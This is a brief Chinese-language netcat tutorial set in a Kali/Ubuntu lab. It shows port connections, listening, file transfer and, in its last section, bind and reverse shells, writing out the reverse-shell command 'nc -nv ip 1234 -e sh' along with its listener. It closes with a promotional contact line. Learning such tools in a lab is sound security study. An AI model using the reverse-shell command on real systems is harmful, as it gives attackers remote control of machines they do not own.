nc命令详解/linux/linux-comm-nc.html
1.连接TCP/UDP端口
作用:检查端口是否开放、获取端口banner信息、手动连接网络服务
nv参数含义见链接
2.用TCP/UDP端口监听
192.168.179.130是一台ubuntu虚拟机,首先开启4444端口、nlvp参数看上面的链接介绍
然后用kali操作机连接到ubuntu的开放端口4444
输入一段话,看看ubuntu能否收到
ubuntu收到 “chat from kali”
3.用nc传送文件
首先用kali创建一个文本abc.txt,写入内容whoami
用ubuntu开启监听,输出重定向到test.txt
然后用kali将abc.txt传给ubuntu
ubuntu显示收到
检查一下test.txt
4.建立shell连接
kali开启监听,1234端口建立或者连接之后,执行sh
ubuntu 用nc去连kali的1234,显示连接成功
输入whoami,显示kali,连接并执行sh成功
反向连接就是把sh发送到监听端(上面的正向连接是监听端开启sh),
nc -nlvp 1234
nc -nv ip 1234 -e sh
获取更多学习资料、想加入社群、深入学习,请扫我的二维码或加Memory20000427。